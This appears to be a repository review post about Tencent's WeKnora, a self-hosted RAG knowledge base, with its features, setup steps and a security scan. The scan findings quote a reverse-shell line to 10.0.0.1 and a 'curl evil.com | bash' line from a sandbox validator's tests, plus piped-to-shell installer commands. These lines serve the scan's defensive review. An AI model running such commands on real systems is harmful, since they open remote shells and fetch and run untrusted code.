6 min read

WeKnora: Tencent's Self-Hosted Knowledge Base With RAG and Agents (GitHub, Scanned)

Tencent's open-source platform that turns your documents into searchable RAG, an agent and a wiki.

WeKnora logo
✅
Scan: safe. Nothing malicious. It is a big server stack whose agent runs code in sandboxes, the optional start_all.sh uses sudo and pipes the Ollama installer to a shell, and shipped components carry critical advisories. Scanned Oct 26, 2026; the full report is below.

WeKnora is a knowledge platform from Tencent: upload a team's documents, or sync them from Notion, Confluence, Feishu, GitLab and others, and it parses them into knowledge bases you can question three ways. Quick Q&A answers with retrieval and cites the passages; the agent plans multi-step work with tools, skills and web search; and wiki mode turns the documents into linked pages with a knowledge graph.

It is built for teams and self-hosting: workspaces with roles and audit logs, 29 model vendors including Ollama for local models, swappable vector databases and storage, chat in WeCom, Feishu, Slack or Telegram, a built-in MCP server for other AI tools, and Docker Compose or Helm deployment, plus a lite single binary for small setups.

About 35,500 stars and 324 contributors, MIT-licensed (with some third-party components under their own terms), at v0.8.3 when scanned, with releases every few weeks. It is a large system of several services, the agent can run code in sandboxes and drive your browser through an extension, and the project itself advises keeping it off the public internet.

  • Repository: github.com/Tencent/WeKnora
  • Licence: custom (Other)
  • Language: Go. Stars: 35.5K. Forks: 4,789. Last push: Oct 26, 2026.
  • Scan: safe, Oct 26, 2026, commit 97d7f0a

Who it is for

Teams that want a private, self-hosted assistant over their own documents, and developers comparing open RAG platforms such as RAGFlow, Dify and AnythingLLM.

Getting started

1. Get the code

git clone https://github.com/Tencent/WeKnora.git && cd WeKnora

2. Create your settings file (edit it as needed)

cp .env.example .env

3. Pull and start the core services

docker compose pull && docker compose up -d

Then open http://localhost and follow the onboarding. Add --profile flags such as neo4j or minio for the knowledge graph and object storage. For a local model, start Ollama first.

Safety scan

We cloned Tencent/WeKnora at commit 97d7f0a on Oct 26, 2026 and ran the checks described on the GitHub Tools page: credential patterns, decode-and-execute code, install-time scripts, committed binaries, risky CI workflows, every host the code talks to, known vulnerabilities in pinned dependencies, and project hygiene. A person read every hit. This is what we found.

  • The secret hit is a private-key marker in internal/types/memory_test.go, test data. The 3 binaries are EPUB and ODT documents used to test the parser.
  • The pattern hits are explained: the api.telegram.org calls are the Telegram chat channel using a bot token you provide; /dev/tcp and the curl | bash strings in internal/sandbox are a validator that blocks those commands, and its tests; scripts/cloud-image/prepare.sh installs Docker via get.docker.com and enables WeKnora's services when building a cloud server image.
  • scripts/start_all.sh, an optional helper for running everything locally, uses sudo and offers to install Ollama with its curl | sh script. The Docker Compose path in the quickstart does not need it.
  • 322 known advisories, 17 critical. The ones that ship are in docreader/uv.lock (Pillow and certifi), go.mod (an Echo access-control bypass) and frontend/package-lock.json; the website-docs lockfiles and the deprecated Python mcp-server account for much of the rest.
  • The agent runs skills in Docker, E2B or Cube sandboxes, where commands run as root since v0.8.2, and can operate your own Chrome or Edge through an extension. 13 workflows, none using pull_request_target; none of 36 third-party actions pinned to a commit. Security policy and Dependabot present.

What the scanner counted

CheckResult
Secrets1 candidate found and read; see the notes above.
Suspicious code11 pattern hits found and read; every one is listed under the raw findings.
Install-time code1 npm lifecycle script. 3 installer scripts (one fetches and runs a remote script; one can call sudo)
Committed binaries3 executable or compiled objects committed; listed under the raw findings.
CI workflows13 workflows. None use pull_request_target. 36 of 36 third-party actions pinned to a tag rather than a commit.
Network hosts40 distinct hosts referenced from source; most often api.e2b.app, cdn.example.com, github.com, wails.io. 52 URLs to a bare IP address, listed under the raw findings.
Known vulnerabilities322 advisories across 1,572 pinned packages: 17 critical, 134 high, 109 moderate, 25 low, 37 unrated. cli/go.mod: 48 packages, 3 advisories; docreader/uv.lock: 89 packages, 78 advisories; docs/poc/docker-sandbox/go.mod: 20 packages, 1 advisories; frontend/package-lock.json: 456 packages, 64 advisories; go.mod: 347 packages, 64 advisories; mcp-server/uv.lock: 59 packages, 29 advisories; packages/dsh-weknora/package-lock.json: 3 packages, 0 advisories; scripts/wemm-transformers/requirements.txt: 2 packages, 4 advisories; website-docs/homepage/package-lock.json: 434 packages, 49 advisories; website-docs/package-lock.json: 333 packages, 36 advisories.
Project hygieneHas security policy, automated dependency updates, licence file. Missing CodeQL, contributing guide.
OpenSSF ScorecardNot scored: the project is not in Scorecard's weekly index.

The raw findings

Every hit the scanner wrote out, with a link to the exact line at the scanned commit. Secrets candidates are redacted.

Secret candidates (1, redacted)
WhereRuleMatch
internal/types/memory_test.go:134private-key-----B…--- (31 chars)
Pattern hits (11)
WhereRuleMatch
docreader/proto/docreader_pb2.py:27very-long-line3689 chars
internal/im/telegram/adapter.go:273exfil-hosturl := fmt.Sprintf("https://api.telegram.org/bot%s/%s", a.botToken, method)
internal/im/telegram/longconn.go:83exfil-hosturl := fmt.Sprintf("https://api.telegram.org/bot%s/getUpdates", c.botToken)
internal/sandbox/validator.go:274raw-socket-shell`/dev/tcp/`,
internal/sandbox/validator_test.go:34download-piped-to-shellcontent: `curl http://evil.com/script.sh | bash`,
internal/sandbox/validator_test.go:40raw-socket-shellcontent: `bash -i >& /dev/tcp/10.0.0.1/8080 0>&1`,
scripts/cloud-image/prepare.sh:73download-piped-to-shellcurl -fsSL https://get.docker.com | bash
scripts/cloud-image/prepare.sh:76persistencesystemctl enable --now docker
scripts/cloud-image/prepare.sh:222persistencesystemctl enable weknora.service
scripts/cloud-image/prepare.sh:223persistencesystemctl enable weknora-firstboot.service
scripts/start_all.sh:156download-piped-to-shellcurl -fsSL https://ollama.com/install.sh | sh
URLs to bare IP addresses (52)
WhereRuleMatch
docreader/parser/doc_parser.py:32ip-literal-urlself.proxy = proxy or CONFIG.external_https_proxy or "http://128.0.0.1:1"
internal/application/repository/retriever/doris/repository_test.go:311ip-literal-url{"untrusted port", "https://8.8.8.8:8030/load", "https://8.8.8.8:8040/load", ""},
internal/application/repository/retriever/doris/repository_test.go:311ip-literal-url{"untrusted port", "https://8.8.8.8:8030/load", "https://8.8.8.8:8040/load", ""},
internal/application/repository/retriever/doris/repository_test.go:312ip-literal-url{"untrusted host", "https://8.8.8.8/load", "https://1.1.1.1/load", ""},
internal/application/repository/retriever/doris/repository_test.go:312ip-literal-url{"untrusted host", "https://8.8.8.8/load", "https://1.1.1.1/load", ""},
internal/application/service/file/ks3_redirect_test.go:30ip-literal-urlelsewhere := httptest.NewRequest(http.MethodGet, "https://93.184.216.34/object", nil)
internal/application/service/tenant_sandbox_config_test.go:1044ip-literal-urlstored := cubeCfg("key-a", "https://203.0.113.10", "https://203.0.113.11", "cube.app")
internal/application/service/tenant_sandbox_config_test.go:1044ip-literal-urlstored := cubeCfg("key-a", "https://203.0.113.10", "https://203.0.113.11", "cube.app")
internal/application/service/tenant_sandbox_config_test.go:1057ip-literal-urlnext := cubeCfg("key-a", "https://203.0.113.10", "https://203.0.113.11", "cube.app")
internal/application/service/tenant_sandbox_config_test.go:1057ip-literal-urlnext := cubeCfg("key-a", "https://203.0.113.10", "https://203.0.113.11", "cube.app")
internal/application/service/tenant_sandbox_config_test.go:1476ip-literal-urlAPIKey: "stored-key", APIURL: "https://203.0.113.10", TemplateID: "t1",
internal/application/service/tenant_sandbox_config_test.go:1483ip-literal-urlAPIURL: "https://203.0.113.10",
internal/application/service/tenant_sandbox_config_test.go:1513ip-literal-urlAPIKey: "stored-key", APIURL: "https://203.0.113.10", TemplateID: "t1",
internal/application/service/tenant_sandbox_config_test.go:1521ip-literal-urlAPIURL: "https://203.0.113.10",
internal/application/service/tenant_sandbox_config_test.go:1540ip-literal-urlAPIKey: "stored-key", APIURL: "https://203.0.113.10", TemplateID: "t1",
internal/application/service/tenant_sandbox_config_test.go:1556ip-literal-urlCube: &types.CubeSandboxConfig{APIURL: "https://203.0.113.10"},
internal/application/service/tenant_sandbox_config_test.go:1592ip-literal-urlAPIURL: "https://203.0.113.20", DNSServers: []string{"dns.google"},
internal/handler/sandbox_check.go:361ip-literal-url{label: "intl:1.1.1.1", url: "https://1.1.1.1"},
internal/handler/sandbox_check_test.go:49ip-literal-urlAPIURL: "https://203.0.113.20", ProxyURL: "https://203.0.113.20",
internal/handler/sandbox_check_test.go:49ip-literal-urlAPIURL: "https://203.0.113.20", ProxyURL: "https://203.0.113.20",
internal/sandbox/tenant_config_test.go:43ip-literal-urlAPIURL: "https://203.0.113.20",
internal/sandbox/tenant_config_test.go:44ip-literal-urlProxyURL: "https://203.0.113.21",
internal/sandbox/tenant_config_test.go:320ip-literal-urlAPIKey: "cube-key", APIURL: "https://203.0.113.20",
internal/sandbox/tenant_config_test.go:321ip-literal-urlProxyURL: "https://203.0.113.21", SandboxDomain: "cube.example",
and 28 more
npm lifecycle scripts (1)
  • packages/dsh-weknora/package.json prepare: npm run build
Installer scripts (3)
Committed binaries (3)
  • internal/infrastructure/docparser/anydoc/testdata/upstream/epub/book.epub: JAR, 6 KB
  • internal/infrastructure/docparser/anydoc/testdata/upstream/odt/handmade-math.odt: JAR, 1 KB
  • internal/infrastructure/docparser/anydoc/testdata/upstream/epub/handmade-math.epub: JAR, 1 KB
Worst known vulnerabilities (24 of 322)
AdvisorySeverityPackageSummary
GHSA-6q48-6c7w-9gw2criticalcertifi@2025.10.5certifi bundles emSign root CAs with compromised intermediate CA keys
GHSA-332p-7hrc-92wfcriticalpillow@12.3.0Pillow: Heap buffer overflow in _tiffWriteProc when saving TIFF to BytesIO
GHSA-5x8w-8jj5-q52hcriticalpillow@12.3.0Pillow: Heap buffer overflow in FlashPix (FPX) JPEG decoding leads to code execution
GHSA-8g5g-8vmr-9782criticalpillow@12.3.0Pillow: Heap buffer overflow in ImagingJpegDecode
GHSA-v9pv-5gc8-w2m6criticalpillow@12.3.0Pillow multi-frame loaders can reuse stale native image storage after mode transitions
GHSA-w889-685w-c8fhcriticalpillow@12.3.0Pillow: Argument Injection in Ghostscript call, potentially leading into RCE
GHSA-cg2g-xh64-v4q7criticaldompurify@3.4.11DOMPurify SAFE_FOR_TEMPLATES bypass: split template expressions survive in attached shadow root content on DOM output mo…
GHSA-pqg4-j6r4-53mvcriticalshell-quote@1.10.0shell-quote: `quote()` command injection via a line terminator in a token after a `{ comment }` token
GHSA-cxf3-9h37-7rr8criticalgithub.com/labstack/echo/v4@4.13.3Echo: Rejected WebSocket upgrades can bypass Echo route-level access controls
GHSA-6q48-6c7w-9gw2criticalcertifi@2026.7.22certifi bundles emSign root CAs with compromised intermediate CA keys
GHSA-ffc3-869f-jxw9criticalpyjwt@2.13.0PyJWT: Asymmetric-PEM detection bypass: whitespace/line-ending-mutated public keys skip the HS/asymmetric confusion guar…
GHSA-2464-fhr4-w9xwcriticalnext@16.2.9Next.js: Unauthenticated Remote Code Execution in Image Optimization API when SVG files are used
GHSA-2xp9-vwfh-vxw4criticalnext@16.2.9Next.js: Unauthenticated Remote Code Execution in Image Optimization API when AVIF files are used
GHSA-673q-mjm6-r5xrcriticalnext@16.2.9Next.js: Unauthenticated Remote Code Execution in `use cache` functions returning typed arrays
GHSA-p293-qw3h-jr36criticalnext@16.2.9Next.js: Unauthenticated Remote Code Execution on windows-hosted servers
GHSA-vcvr-r3jv-pc5jcriticalnext@16.2.9Next.js: Remote Code Execution in next/og ImageResponse
GHSA-cg2g-xh64-v4q7criticaldompurify@3.4.12DOMPurify SAFE_FOR_TEMPLATES bypass: split template expressions survive in attached shadow root content on DOM output mo…
GHSA-g6cj-pr64-35w5highcryptography@49.0.0cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle through distinguishable errors and timing
GHSA-4jhm-jv67-739fhighlxml-html-clean@0.4.4`lxml_html_clean.Cleaner` does not strip `javascript:` URLs from namespaced URL attributes
GHSA-f83h-ghpp-7wcchighpdfminer-six@20250506Insecure Deserialization (pickle) in pdfminer.six CMap Loader - Local Privesc
GHSA-wf5f-4jwr-ppcphighpdfminer-six@20250506Arbitrary Code Execution in pdfminer.six via Crafted PDF Input
GHSA-22hg-r758-rrw9highpillow@12.3.0Pillow: Infinite loop in MIC n_frames when the embedded TIFF
GHSA-27h8-gf7j-v5hchighpillow@12.3.0Pillow: NULL dereference in ImagingExpand via rank filters on zero-size images
GHSA-3j72-p6qg-6xp7highpillow@12.3.0Pillow: TarIO negative size field causes infinite CPU-spin loop

By the numbers

Stars35.5K
Forks4,789
Contributors324
Commits3,678
Open issues419
Open pull requests356
Releases41
Latest releasev0.8.3
Licencecustom
Main languageGo
Project age1 year
Last pushOct 26, 2026
Tracked files5,665
Lines of code1.4M
Checkout size143 MB

Lines by language: Go 867.3K, Vue 173.7K, TypeScript 134.8K, JSON 57.4K, YAML 37.9K, Markdown 37.5K.

Questions

Is WeKnora free?

Yes. WeKnora is open source under the MIT licence, with some bundled third-party components under their own licences, and free to self-host. Tencent also offers it hosted through the WeChat Dialog Open Platform and as a Tencent Cloud template.

Can WeKnora run with local models?

Yes. Ollama is one of its built-in providers for both chat and embedding models, so documents and questions can stay entirely on your own hardware.

How is WeKnora different from RAGFlow or Dify?

All three do retrieval over your documents. WeKnora leans toward a team knowledge base, with workspaces and roles, many document sync sources, chat-app channels and an automatic wiki, while Dify is more of a general app and workflow builder.


This post is part of GitHub Tools, where every repository is cloned and scanned before it is written up. The scan is a snapshot of one commit on one day; the repository has moved on since, so check it before you install.